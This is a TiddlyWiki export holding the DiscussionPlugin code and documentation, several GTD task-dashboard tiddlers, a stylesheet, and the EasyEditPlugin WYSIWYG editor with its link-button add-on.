		out+="<<comment "+next+" [["+tags+"]] [["+this.slices+commentfmt+"]] [["+datefmt+"]]>>";
		wikify(out,place);
	},
	countComments: function(tid,after) {
		var tids=store.getTaggedTiddlers("comment","created");
		var count=0;
		for (var t=0; t<tids.length; t++)
			if (tids[t].title!=tid && tids[t].title.substr(0,tid.length)==tid)
				if (!after||tid.modified>=after) count++;
		return count;
	}
};
//}}}

// // automatically add shadow tiddlers and templates for displaying page/discussion tabs
//{{{

// macro for rendering current tiddler content
config.macros.currentTiddler= {
	handler: function(place,macroName,params,wikifier,paramstring,tiddler) {
		var here=story.findContainingTiddler(place); if (!here) return;
		var txt=store.getTiddlerText(here.getAttribute("tiddler"),"");
		txt=txt.replace(/\<\<currentTiddler\>\>/g,""); // prevents infinite recursion!
		removeChildren(place); wikify(txt,createTiddlyElement(place,"div",null,"viewer"));
	}
};

// [[CurrentTiddler]] allows tab to show tiddler content
config.shadowTiddlers.CurrentTiddler="<<currentTiddler>>";

// [[DiscussionTiddler]] allows tab to show discussion panel
config.shadowTiddlers.DiscussionTiddler="<<discussion>>";

// [[NoDiscussionViewTemplate]] is an unmodified copy of the shadow [[ViewTemplate]]
config.shadowTiddlers.NoDiscussionViewTemplate=store.getTiddlerText("ViewTemplate");

// [[DiscussionViewTemplate]] is a copy of the current [[ViewTemplate]] where the 
// default viewer content ("view text wikified") is replaced with tabs for Page/Discussion
config.shadowTiddlers.DiscussionViewTemplate=store.getTiddlerText("ViewTemplate").replace(/view text wikified/,
	'tabs txtDiscussionTab Page Page CurrentTiddler {{var c=0; if(place) var h=story.findContainingTiddler(place); if(h) c=config.macros.discussion.countComments(h.getAttribute("tiddler")); "Discussion"+(c?" ("+c+")":"")}} Discussion DiscussionTiddler');

// optionally, automatically apply DiscussionViewTemplate to all tiddlers
if (config.options.chkDiscussionTemplate) config.shadowTiddlers.ViewTemplate="[[DiscussionViewTemplate]]";
//}}}
/***
|Name|DiscussionPluginInfo|
|Source|http://www.TiddlyTools.com/#DiscussionPlugin|
|Documentation|http://www.TiddlyTools.com/#DiscussionPluginInfo|
|Version|1.5.7|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|Documentation|
|Description|Documentation for DiscussionPlugin|
!!!!!Usage
<<<
syntax:
{{{
<<discussion listformat reverse tags commentformat dateformat>>
}}}
where:
*''listformat'' //(optional)//<br>specifies the display format for each item in the summary list. //Note: when specifying additional macro parameters, you can use a blank value (e.g., {{{""}}}) as a 'placeholder' to allow the default item format to be used.//
*''reverse'' //(optional)//<br>by default, the comments in the discussion summary list are shown in date/time order, with the oldest item listed first.  The ''reverse'' keyword, when present, indicates the display order should be inverted so that the most recent item is listed first.
*''tags'' //(optional)//<br>specifies one or more space-separated tags to add to the target tiddler whenever a comment is written.  Note that the list of tags should be enclosed in "..." so that it is processed as a single parameter.  If you do not want tags added to the individual comment tiddlers, use a blank value (e.g., {{{""}}}) as a 'placeholder'.  Regardless of the tags that are specified, a tag of "comment" is always added to each target tiddler.  This is required in order to locate the tiddler when generating the dicussion summary list.
*''commentformat'' //(optional)//<br>specifies a custom output format to be used when inserting comments into the target tiddler, where: %when%=formatted date/timestamp, %who%=username, %subject%=comment subject text, and %message% is the body of the comment.  When present, this parameter overrides the default output format defined via {{{config.macros.comment.fmt}}}.  See the ''Configuration'' section below and in [[CommentPluginInfo]] for additional details.
*''dateformat'' //(optional)//<br>specifies a custom date/timestamp output used within the comment format above.  When present, this parameter overrides the default date/timestamp format defined via {{{config.macros.comment.datefmt}}}.  See the ''Configuration'' section below and in [[CommentPluginInfo]] for additional details.
<<<
!!!!!Configuration
<<<
[[DiscussionPlugin]] can automatically modify the default shadow [[ViewTemplate]] so that all tiddlers will be rendered with two tabs: "Page", and "Discussion".  The "Page" tab displays the regular tiddler content, while the "Discussion" tab displays the summary list of comments as well as an input form to enter new comments.  You can enable/disable this action by setting/clearing the following checkbox:
><<option chkDiscussionTemplate>> Automatically modify default shadow [[ViewTemplate]]
>usage: {{{<<option chkDiscussionTemplate>>}}}
>^^(or place {{{config.options.chkDiscussionTemplate=true;}}} in a tiddler tagged with "systemConfig")^^
Note: //''You must reload your document for changes to this option to take effect.''//  In addition, this option is only applied to the shadow [[ViewTemplate]].  If you are using a custom [[ViewTemplate]], you will need to manually alter that template to add the Page and Discussion tab display (see below)
<<<
!!!!!Using tags to add discussion tabs to individual tiddlers
<<<
When your document is loaded, DiscussionPlugin automatically creates a shadow DiscussionViewTemplate that is copy of the current ViewTemplate, with the discussion tab syntax automatically installed.  If TiddlyTools' TaggedTemplateTweak is also installed in your document then, rather than using the checkbox option to add discussion tabs to //every// tiddler in your document, you can selectively tag individual tiddlers with "discussion" to add the discussion tabs to only those specific tiddlers.

Conversely, if you enable the checkbox option to modify the default ViewTemplate, you can selectively tag individual tiddlers with "noDiscussion" to apply a shadow NoDiscussionViewTemplate that will use an unmodified version of the current ViewTemplate, thereby preventing the discussion tabs from appearing on those specific tiddlers.
<<<
!!!!!Using a customized [[ViewTemplate]]
<<<
To enable the discussion tab display when using a custom [[ViewTemplate]], you should edit that template and change this line:
{{{
<div class='viewer' macro='view text wikified'></div>
}}}
to:
{{{
<div class='viewer' macro='tabs txtDiscussionTab
	Page Page CurrentTiddler Discussion Discussion DiscussionTiddler'></div>
}}}
>[[CurrentTiddler]] and [[DiscussionTiddler]] are special shadow tiddlers defined by the plugin.  [[CurrentTiddler]] enables the {{{<<tabs>>}}} macro used in the [[ViewTemplate]] to display the content for the current tiddler within a tab, while [[DiscussionTiddler]] simply invokes the default {{{<<discussion>>}}} macro without any extra parameters in order to render the corresponding discussion summary list and comment input form.  You can modify the these shadow definitions to add macro parameters or other custom content that will automatically appear in the discussion tab when each tiddler is rendered.
Note: if you are using a custom [[ViewTemplate]], you should also manually create custom versions of DiscussionViewTemplate and NoDiscussionViewTemplate as well, so that you can use the tagging method described above to selectively display discussion tabs for tiddlers that also apply your custom-defined templates.
<<<
!!!!!Plugin customization settings
<<<
To configure the global defaults used by [[DiscussionPlugin]], you can place one or more of the following javascript statements in a tiddler tagged with <<tag systemConfig>>: //(note: the default values for each setting are shown)//
{{{
config.macros.discussion.listfmt="#<<slider [[]] [[%tiddler%]] [[%subject%]] [[posted by %who% on %when%]]>>\n";
}}}
>defines the output format for each item in the discussion summary list, where: %tiddler%=tiddler title of the individual comment tiddler, %subject%=subject text, %who%=username, and %when% is the formatted date/time of the comment.  These values are automatically stored in each comment tiddler by using a //hidden slice table//, so that this information can be easily retrieved when generating the summary list output.
{{{
config.macros.discussion.reverse=false;
}}}
>when set to {{{true}}}, the discussion summary list is displayed in a reverse chronological order.
{{{
config.macros.discussion.titlefmt="_%UTC%%random%";
}}}
>When comments are entered, they are written into separate target tiddlers whose titles are constructed by appending a generated suffix to the title of the tiddler containing the {{{<<discussion>>}}} macro.  By default, this suffix contains the current UTC timestamp (e.g., YYYYMMDD.HHMMSSMMM) plus a randomly generated number (e.g., .123456789) to ensure that all target tiddlers have unique titles while also associating each comment with the specific discussion summary.  The suffix is specified by using //substitution markers//, where: %UTC%=the UTC timestamp, %random%=a random decimal number, %who%=username, and %subject% is the subject text entered into the comment form.
{{{
config.macros.discussion.tags="comment excludeLists";
}}}
>Target tiddlers are automatically tagged with "comment" so that the {{{<<discussion>>}}} macro can locate them when generating the summary list.  To reduce 'information clutter', target tiddlers are also tagged with "excludeLists" so that they don't automatically appear in the list of tiddlers shown in the sidebar tabs.  You can use this setting to specify an optional space-separated list of tags to be added to the target tiddler whenever a comment is written.  You can use a blank value (e.g., {{{""}}} if you do not want to add any extra tags to the target tiddler.  However, as noted above, regardless of the specified tags, target tiddlers will still be tagged with "comment" in order to ensure that the {{{<<discussion>>}}} macro includes them in the summary list.
{{{
config.macros.discussion.commentfmt="^^posted by %who% on %when%^^\n<<<\n%message%\n<<<\n";
}}}
>defines the comment output format to be inserted into the target tiddler, where: %when%=date/timestamp, %who%=username, %subject%=subject, and %message% is the body of the comment.  //Note: if you omit %subject% from the output format, the subject input field on the comment form will be automatically suppressed.  Similarly, omitting %message% from the output format suppresses the message input field.  This can be useful when using the {{{<<comment>>}}} macro to create simple activity logs that only require a short, one-line subject rather than entering extended message content.//
{{{
config.macros.comment.datefmt="DDD, MMM DDth, YYYY at hh12:0mm:0ss am";
}}}
>defines the date/timestamp output used within the comment format above.
<<<
!!!!!Revisions
<<<
2009.01.04 1.5.7 in customized ViewTemplate, corrected 'tabs' macro to avoid error when viewing shadow tiddlers
2008.10.31 1.5.6 added optional 'after' param to countComments() so 'new postings' count can be displayed (using customized DiscussionViewTemplate
2008.10.30 1.5.5 added comment count to discussion tab.  See countComments() function.
2008.05.15 1.5.0 added automatic creation of shadows for DiscussionViewTemplate and NoDiscussionViewTemplate
2008.04.21 1.4.0 replaced use of %n markers with special 'named' markers: %tiddler%, %UTC%, %random%, %who%, %when%, %subject% and %message% to avoid conflict with TW core processing of tiddler content.
2008.04.17 1.3.0 added ability to customize generated 'comment tiddler' titles by using substitution parameters.
2008.04.17 1.2.0 added ability to customize generated 'comment tiddler' titles by using substitution parameters.
2008.04.15 1.1.1 in currentTiddler.handler(), prevent infinite recursion by removing {{{<<currentTiddler>>}}} from content being wikified.
2008.04.15 1.1.0 added parameters for reverse, listformat, tags, commentformat, dateformat
2008.04.14 1.0.0 initial prototype
<<<
order:4
button:d
buttonLong:dismissed
[[My Tasks|Me (Tasks)]]
[[AutoFocus Dashboard]]

[[Next Actions|Next Actions by Context]]
[[Starred Next Actions|Starred Next Actions]]
[[Next & Waiting Actions|Next and Waiting Actions by Context]]

[[Action Dashboard|Action Dashboard by Context]]
[[Starred Items]]
[[Tickler Dashboard]]
[[Tickler Dashboard by Contact]]
[[Delegated Tasks Dashboard]]
[[Reference Items]]
[[Done Actions]]

<slider+ Contexts>
<<dGSDList startTag:Action tags:'Next && !Done' groupCountOnly:yes group:Context gView:plain where:tiddler.hasActiveProject()>>
</slider><slider All contexts>
<<dGSDList startTag:Context>>
</slider>

<slider Grouped by Project>
[[Next Actions by Project]]
[[Next and Waiting Actions by Project]]
[[Action Dashboard by Project]]
</slider>

<slider Grouped by Contact>
[[Next Actions by Contact]]
[[Next and Waiting Actions by Contact]]
[[Action Dashboard by Contact]]
</slider>
<<dGSDList
	title:'Done'
	mode:global
	startTag:Action
	tags:'Done'
	view:DoneAction
	group:day
	gView:DoneAction
	gSort:-title
	newButtonTags:'Action Next Done'
	sort:-modified
	>>
order:4
button:d
buttonLong:dormant

{{menuH{this month's [[CalendarWithTicklers]] & list of [[Tickler Dashboard|upcoming Ticklers]] and overdue [[Action Dashboard|Actions]]}}}
<<tiddler calendar>>

[[display calendar for this month|CurrentMonthCalendar]]
[[display calendar of the complete year|YearlyCalendar]]
{{menuH{this month's [[CalendarWithTicklers]] & list of [[Tickler Dashboard|upcoming Ticklers]] and overdue [[Action Dashboard|Actions]]}}}
<<tiddler calendar>>

[[display calendar for this month|CurrentMonthCalendar]]
[[display calendar of the complete year|YearlyCalendar]]
/*{{{*/
body {color:#444; font-size:0.75em;line-height:1.4em;font-family:arial,helvetica;margin : 0.5em; padding : 0;}
html {border:0}
a, a:link, a:visited, a:active {text-decoration:none;color:#BB4400;font-weight:bold}
ul, ol {margin-left:0.5em;padding-left:1.5em;}
/*}}}*/
/***
|''Name:''|EasyEditPlugin|
|''Description:''|Lite and extensible Wysiwyg editor for TiddlyWiki.|
|''Version:''|1.3.3|
|''Date:''|Dec 21,2007|
|''Source:''|http://visualtw.ouvaton.org/VisualTW.html|
|''Author:''|Pascal Collin|
|''License:''|[[BSD open source license|License]]|
|''~CoreVersion:''|2.1.0|
|''Browser:''|Firefox 2.0; InternetExplorer 6.0|
!Demo
*On the plugin [[homepage|http://visualtw.ouvaton.org/VisualTW.html]], see [[WysiwygDemo]] and use the {{{write}}} button.
!Installation
#import the plugin,
#save and reload,
#use the <<toolbar easyEdit>> button in the tiddler's toolbar (in default ViewTemplate) or add {{{easyEdit}}} command in your own toolbar.
! Useful Addons
*[[HTMLFormattingPlugin|http://www.tiddlytools.com/#HTMLFormattingPlugin]] to embed wiki syntax in html tiddlers.<br>//__Tips__ : When this plugin is installed, you can use anchor syntax to link tiddlers in wysiwyg mode (example : #example). Anchors are converted back and from wiki syntax when editing.//
*[[TaggedTemplateTweak|http://www.TiddlyTools.com/#TaggedTemplateTweak]] to use alternative ViewTemplate/EditTemplate for tiddler's tagged with specific tag values.
!Configuration
|Buttons in the toolbar (empty = all).<br>//Example : bold,underline,separator,forecolor//<br>The buttons will appear in this order.| <<option txtEasyEditorButtons>>|
|EasyEditor default height | <<option txtEasyEditorHeight>>|
|Stylesheet applied to the edited richtext |[[EasyEditDocStyleSheet]]|
|Template called by the {{{write}}} button |[[EasyEditTemplate]]|
!How to extend EasyEditor
*To add your own buttons, add some code like the following in a systemConfig tagged tiddler (//use the prompt attribute only if there is a parameter//) :
**{{{EditorToolbar.buttons.heading = {label:"H", toolTip : "Set heading level", prompt: "Enter heading level"};}}} 
**{{{EditorToolbar.buttonsList +=",heading";}}}
*To get the list of all possible commands, see the documentation of the [[Gecko built-in rich text editor|http://developer.mozilla.org/en/docs/Midas]] or the [[IE command identifiers|http://msdn2.microsoft.com/en-us/library/ms533049.aspx]].
*To go further in customization, see [[Link button|EasyEditPlugin-LinkButton]] as an example.
!Code
***/

//{{{

var geckoEditor={};
var IEeditor={};

config.options.txtEasyEditorHeight = config.options.txtEasyEditorHeight ? config.options.txtEasyEditorHeight : "500px";
config.options.txtEasyEditorButtons = config.options.txtEasyEditorButtons ? config.options.txtEasyEditorButtons : "";

// TW2.1.x compatibility
config.browser.isGecko = config.browser.isGecko ? config.browser.isGecko : (config.userAgent.indexOf("gecko") != -1); 
config.macros.annotations = config.macros.annotations ? config.macros.annotations : {handler : function() {}}


// EASYEDITOR MACRO

config.macros.easyEdit = {
	handler : function(place,macroName,params,wikifier,paramString,tiddler) {
		var field = params[0];
		var height = params[1] ? params[1] : config.options.txtEasyEditorHeight;
		var editor = field ? new easyEditor(tiddler,field,place,height) : null;
	},
	gather: function(element){
		var iframes = element.getElementsByTagName("iframe");
		if (iframes.length!=1) return null
		var text = "<html>"+iframes[0].contentWindow.document.body.innerHTML+"</html>";
		text = config.browser.isGecko ? geckoEditor.postProcessor(text) : (config.browser.isIE ? IEeditor.postProcessor(text) : text);
		return text;
	}
}

// EASYEDITOR CLASS

function easyEditor(tiddler,field,place,height) {
	this.tiddler = tiddler;
	this.field = field;
	this.browser = config.browser.isGecko ? geckoEditor : (config.browser.isIE ? IEeditor : null);
	this.wrapper = createTiddlyElement(place,"div",null,"easyEditor");
	this.wrapper.setAttribute("easyEdit",this.field);
	this.iframe = createTiddlyElement(null,"iframe");
	this.browser.setupFrame(this.iframe,height,contextualCallback(this,this.onload));
	this.wrapper.appendChild(this.iframe);
}

easyEditor.prototype.onload = function(){
	this.editor = this.iframe.contentWindow;
	this.doc = this.editor.document;
	if (!this.browser.isDocReady(this.doc)) return null;
	
	if (!this.tiddler.isReadOnly() && this.doc.designMode.toLowerCase()!="on") {
		this.doc.designMode = "on";
		if (this.browser.reloadOnDesignMode) return false;	// IE fire readystatechange after designMode change
	}
	
	var internalCSS = store.getTiddlerText("EasyEditDocStyleSheet");
	setStylesheet(internalCSS,"EasyEditDocStyleSheet",this.doc);
	this.browser.initContent(this.doc,store.getValue(this.tiddler,this.field));

	var barElement=createTiddlyElement(null,"div",null,"easyEditorToolBar");
	this.wrapper.insertBefore(barElement,this.wrapper.firstChild);
	this.toolbar = new EditorToolbar(this.doc,barElement,this.editor);

	this.browser.plugEvents(this.doc,contextualCallback(this,this.scheduleButtonsRefresh));
	this.editor.focus();
}

easyEditor.SimplePreProcessoror = function(text) {
	var re = /^<html>(.*)<\/html>$/m;
	var htmlValue = re.exec(text);
	var value = (htmlValue && (htmlValue.length>0)) ? htmlValue[1] : text;
	return value;
}

easyEditor.prototype.scheduleButtonsRefresh=function() { //doesn't refresh buttons state when rough typing
	if (this.nextUpdate) window.clearTimeout(this.nextUpdate);
	this.nextUpdate = window.setTimeout(contextualCallback(this.toolbar,EditorToolbar.onUpdateButton),easyEditor.buttonDelay);
}

easyEditor.buttonDelay = 200;

// TOOLBAR CLASS

function EditorToolbar(target,parent,window){
	this.target = target;
	this.window=window;
	this.elements={};
	var row = createTiddlyElement(createTiddlyElement(createTiddlyElement(parent,"table"),"tbody"),"tr");
	var buttons = (config.options.txtEasyEditorButtons ? config.options.txtEasyEditorButtons : EditorToolbar.buttonsList).split(",");
	for(var cpt = 0; cpt < buttons.length; cpt++){
		var b = buttons[cpt];
		var button = EditorToolbar.buttons[b];
		if (button) {
			if (button.separator)
				createTiddlyElement(row,"td",null,"separator").innerHTML+="&nbsp;";
			else {
				var cell=createTiddlyElement(row,"td",null,b+"Button");
				if (button.onCreate) button.onCreate.call(this, cell, b);
				else EditorToolbar.createButton.call(this, cell, b);
			}
		}
	}
}

EditorToolbar.createButton = function(place,name){
	this.elements[name] = createTiddlyButton(place,EditorToolbar.buttons[name].label,EditorToolbar.buttons[name].toolTip,contextualCallback(this,EditorToolbar.onCommand(name)),"button");
}

EditorToolbar.onCommand = function(name){
	var button = EditorToolbar.buttons[name];
	return function(){
		var parameter = false;
		if (button.prompt) {
			var parameter = this.target.queryCommandValue(name);
			parameter = prompt(button.prompt,parameter);
		}
		if (parameter != null) {
			this.target.execCommand(name, false, parameter);
			EditorToolbar.onUpdateButton.call(this);
		}
		return false;
	}
}

EditorToolbar.getCommandState = function(target,name){
	try {return target.queryCommandState(name)}
	catch(e){return false}
}

EditorToolbar.onRefreshButton = function (name){
	if (EditorToolbar.getCommandState(this.target,name)) addClass(this.elements[name].parentNode,"buttonON");
	else removeClass(this.elements[name].parentNode,"buttonON");
	this.window.focus();
}

EditorToolbar.onUpdateButton = function(){
	for (b in this.elements) 
		if (EditorToolbar.buttons[b].onRefresh) EditorToolbar.buttons[b].onRefresh.call(this,b);
		else EditorToolbar.onRefreshButton.call(this,b);
}

EditorToolbar.buttons = {
	separator : {separator : true},
	bold : {label:"B", toolTip : "Bold"},
	italic : {label:"I", toolTip : "Italic"},
	underline : {label:"U", toolTip : "Underline"},
	strikethrough : {label:"S", toolTip : "Strikethrough"},
	insertunorderedlist : {label:"\u25CF", toolTip : "Unordered list"},
	insertorderedlist : {label:"1.", toolTip : "Ordered list"},
	justifyleft : {label:"[\u2261", toolTip : "Align left"},
	justifyright : {label:"\u2261]", toolTip : "Align right"},
	justifycenter : {label:"\u2261", toolTip : "Align center"},
	justifyfull : {label:"[\u2261]", toolTip : "Justify"},
	removeformat : {label:"\u00F8", toolTip : "Remove format"},
	fontsize : {label:"\u00B1", toolTip : "Set font size", prompt: "Enter font size"},
	forecolor : {label:"C", toolTip : "Set font color", prompt: "Enter font color"},
	fontname : {label:"F", toolTip : "Set font name", prompt: "Enter font name"},
	heading : {label:"H", toolTip : "Set heading level", prompt: "Enter heading level (example : h1, h2, ...)"},
	indent : {label:"\u2192[", toolTip : "Indent paragraph"},
	outdent : {label:"[\u2190", toolTip : "Outdent paragraph"},
	inserthorizontalrule : {label:"\u2014", toolTip : "Insert an horizontal rule"},
	insertimage : {label:"\u263C", toolTip : "Insert image", prompt: "Enter image url"}
}

EditorToolbar.buttonsList = "bold,italic,underline,strikethrough,separator,increasefontsize,decreasefontsize,fontsize,forecolor,fontname,separator,removeformat,separator,insertparagraph,insertunorderedlist,insertorderedlist,separator,justifyleft,justifyright,justifycenter,justifyfull,indent,outdent,separator,heading,separator,inserthorizontalrule,insertimage";

if (config.browser.isGecko) {
	EditorToolbar.buttons.increasefontsize = {onCreate : EditorToolbar.createButton, label:"A", toolTip : "Increase font size"};
	EditorToolbar.buttons.decreasefontsize = {onCreate : EditorToolbar.createButton, label:"A", toolTip : "Decrease font size"};
	EditorToolbar.buttons.insertparagraph = {label:"P", toolTip : "Format as paragraph"};
}

// GECKO (FIREFOX, ...) BROWSER SPECIFIC METHODS

geckoEditor.setupFrame = function(iframe,height,callback) {
	iframe.setAttribute("style","width: 100%; height:" + height);
	iframe.addEventListener("load",callback,true);
}

geckoEditor.plugEvents = function(doc,onchange){
	doc.addEventListener("keyup", onchange, true);
	doc.addEventListener("keydown", onchange, true);
	doc.addEventListener("click", onchange, true);
}

geckoEditor.postProcessor = function(text){return text};

geckoEditor.preProcessor = function(text){return easyEditor.SimplePreProcessoror(text)}

geckoEditor.isDocReady = function() {return true;}

geckoEditor.reloadOnDesignMode=false;

geckoEditor.initContent = function(doc,content){
	if (content) doc.execCommand("insertHTML",false,geckoEditor.preProcessor(content));
}

// INTERNET EXPLORER BROWSER SPECIFIC METHODS
	
IEeditor.setupFrame = function(iframe,height,callback) {
	iframe.width="99%";  //IE displays the iframe at the bottom if 100%. CSS layout problem ? I don't know. To be studied...
	iframe.height=height.toString();
	iframe.attachEvent("onreadystatechange",callback);
}

IEeditor.plugEvents = function(doc,onchange){
	doc.attachEvent("onkeyup", onchange);
	doc.attachEvent("onkeydown", onchange);
	doc.attachEvent("onclick", onchange);
}

IEeditor.isDocReady = function(doc){
	if (doc.readyState!="complete") return false;
	if (!doc.body) return false;
	return (doc && doc.getElementsByTagName && doc.getElementsByTagName("head") && doc.getElementsByTagName("head").length>0);
}

IEeditor.postProcessor = function(text){return text};

IEeditor.preProcessor = function(text){return easyEditor.SimplePreProcessoror(text)}

IEeditor.reloadOnDesignMode=true;

IEeditor.initContent = function(doc,content){
	if (content) doc.body.innerHTML=IEeditor.preProcessor(content);
}
	
function contextualCallback(obj,func){
    return function(){return func.call(obj)}
}
	
Story.prototype.previousGatherSaveEasyEdit = Story.prototype.previousGatherSaveEasyEdit ? Story.prototype.previousGatherSaveEasyEdit : Story.prototype.gatherSaveFields; // to avoid looping if this line is called several times
Story.prototype.gatherSaveFields = function(e,fields){
	if(e && e.getAttribute) {
		var f = e.getAttribute("easyEdit");
		if(f){
			var newVal = config.macros.easyEdit.gather(e);
			if (newVal) fields[f] = newVal;
		}
		this.previousGatherSaveEasyEdit(e, fields);
	}
}

config.commands.easyEdit={
	text: "write",
	tooltip: "Edit this tiddler in wysiwyg mode",
	readOnlyText: "view",
	readOnlyTooltip: "View the source of this tiddler",
	handler : function(event,src,title) {
		clearMessage();
		var tiddlerElem = document.getElementById(story.idPrefix + title);
		var fields = tiddlerElem.getAttribute("tiddlyFields");
		story.displayTiddler(null,title,"EasyEditTemplate",false,null,fields);
		return false;
	}
}

config.shadowTiddlers.ViewTemplate = config.shadowTiddlers.ViewTemplate.replace(/\+editTiddler/,"+editTiddler easyEdit");

config.shadowTiddlers.EasyEditTemplate = config.shadowTiddlers.EditTemplate.replace(/macro='edit text'/,"macro='easyEdit text'");

config.shadowTiddlers.EasyEditToolBarStyleSheet = "/*{{{*/\n";
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar {font-size:0.8em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".editor iframe {border:1px solid #DDD}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar td{border:1px solid #888; padding:2px 1px 2px 1px; vertical-align:middle}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar td.separator{border:0}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .button{border:0;color:#444}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .buttonON{background-color:#EEE}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar {margin:0.25em 0}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .boldButton {font-weight:bold}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .italicButton .button {font-style:italic;padding-right:0.65em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .underlineButton .button {text-decoration:underline}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .strikeButton .button {text-decoration:line-through}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .unorderedListButton {margin-left:0.7em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .justifyleftButton .button {padding-left:0.1em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .justifyrightButton .button {padding-right:0.1em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .justifyfullButton .button, .easyEditorToolBar .indentButton .button, .easyEditorToolBar .outdentButton .button {padding-left:0.1em;padding-right:0.1em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .increasefontsizeButton .button {padding-left:0.15em;padding-right:0.15em; font-size:1.3em; line-height:0.75em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .decreasefontsizeButton .button {padding-left:0.4em;padding-right:0.4em; font-size:0.8em;}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .forecolorButton .button {color:red;}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .fontnameButton .button {font-family:serif}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet +="/*}}}*/";

store.addNotification("EasyEditToolBarStyleSheet", refreshStyles); 

config.shadowTiddlers.EasyEditDocStyleSheet = "/*{{{*/\n \n/*}}}*/";
if (config.annotations) config.annotations.EasyEditDocStyleSheet = "This stylesheet is applied when editing a text with the wysiwyg easyEditor";

//}}}
/***
!Link button add-on
***/
//{{{
EditorToolbar.createLinkButton = function(place,name) {
	this.elements[name] = createTiddlyButton(place,EditorToolbar.buttons[name].label,EditorToolbar.buttons[name].toolTip,contextualCallback(this,EditorToolbar.onInputLink()),"button");
}

EditorToolbar.onInputLink = function() {
	return function(){
		var browser = config.browser.isGecko ? geckoEditor : (config.browser.isIE ? IEeditor : null);
		var value = browser ? browser.getLink(this.target) : "";
		value = prompt(EditorToolbar.buttons["createlink"].prompt,value);
		if (value) browser.doLink(this.target,value);
		else if (value=="") this.target.execCommand("unlink", false, value);
		EditorToolbar.onUpdateButton.call(this);
		return false;
	}
}

EditorToolbar.buttonsList += ",separator,createlink";

EditorToolbar.buttons.createlink = {onCreate : EditorToolbar.createLinkButton, label:"L", toolTip : "Set link", prompt: "Enter link url"};


geckoEditor.getLink=function(doc){
	var range=doc.defaultView.getSelection().getRangeAt(0);
	var container = range.commonAncestorContainer;
	var node = (container.nodeType==3) ? container.parentNode : range.startContainer.childNodes[range.startOffset];
	if (node && node.tagName=="A") {
		var r=doc.createRange();
		r.selectNode(node);
		doc.defaultView.getSelection().addRange(r);
		return (node.getAttribute("tiddler") ? "#"+node.getAttribute("tiddler") : node.href);
	}
	else return (container.nodeType==3 ? "#"+container.textContent.substr(range.startOffset, range.endOffset-range.startOffset).replace(/ $/,"") : "");
}

geckoEditor.doLink=function(doc,link){ // store tiddler in a temporary attribute to avoid url encoding of tiddler's name
	var pin = "href"+Math.random().toString().substr(3);
	doc.execCommand("createlink", false, pin);
	var isTiddler=(link.charAt(0)=="#");
	var node = doc.defaultView.getSelection().getRangeAt(0).commonAncestorContainer;
	var links= (node.nodeType!=3) ? node.getElementsByTagName("a") : [node.parentNode];
	for (var cpt=0;cpt<links.length;cpt++) 
			if (links[cpt].href==pin){
				links[cpt].href=isTiddler ? "javascript:;" : link; 
				links[cpt].setAttribute("tiddler",isTiddler ? link.substr(1) : "");
			}
}

geckoEditor.beforeLinkPostProcessor = geckoEditor.beforelinkPostProcessor ? geckoEditor.beforelinkPostProcessor : geckoEditor.postProcessor;
geckoEditor.postProcessor = function(text){
	return geckoEditor.beforeLinkPostProcessor(text).replace(/<a tiddler="([^"]*)" href="javascript:;">(.*?)(?:<\/a>)/gi,"[[$2|$1]]").replace(/<a tiddler="" href="/gi,'<a href="');
}

geckoEditor.beforeLinkPreProcessor = geckoEditor.beforeLinkPreProcessor ? geckoEditor.beforeLinkPreProcessor : geckoEditor.preProcessor
geckoEditor.preProcessor = function(text){
	return geckoEditor.beforeLinkPreProcessor(text).replace(/\[\[([^|\]]*)\|([^\]]*)]]/g,'<a tiddler="$2" href="javascript:;">$1</a>');
}


IEeditor.getLink=function(doc){
	var node=doc.selection.createRange().parentElement();
	if (node.tagName=="A") return node.href;
	else return (doc.selection.type=="Text"? "#"+doc.selection.createRange().text.replace(/ $/,"") :"");
}

IEeditor.doLink=function(doc,link){
	doc.execCommand("createlink", false, link);
}

IEeditor.beforeLinkPreProcessor = IEeditor.beforeLinkPreProcessor ? IEeditor.beforeLinkPreProcessor : IEeditor.preProcessor
IEeditor.preProcessor = function(text){
	return IEeditor.beforeLinkPreProcessor(text).replace(/\[\[([^|\]]*)\|([^\]]*)]]/g,'<a ref="#$2">$1</a>');
}

IEeditor.beforeLinkPostProcessor = IEeditor.beforelinkPostProcessor ? IEeditor.beforelinkPostProcessor : IEeditor.postProcessor;
IEeditor.postProcessor = function(text){
	return IEeditor.beforeLinkPostProcessor(text).replace(/<a href="#([^>]*)">([^<]*)<\/a>/gi,"[[$2|$1]]");
}

IEeditor.beforeLinkInitContent = IEeditor.beforeLinkInitContent ? IEeditor.beforeLinkInitContent : IEeditor.initContent;
IEeditor.initContent = function(doc,content){
	IEeditor.beforeLinkInitContent(doc,content);
	var links=doc.body.getElementsByTagName("A");
	for (var cpt=0; cpt<links.length; cpt++) {
		links[cpt].href=links[cpt].ref; //to avoid IE conversion of relative URLs to absolute
		links[cpt].removeAttribute("ref");	
	}
}

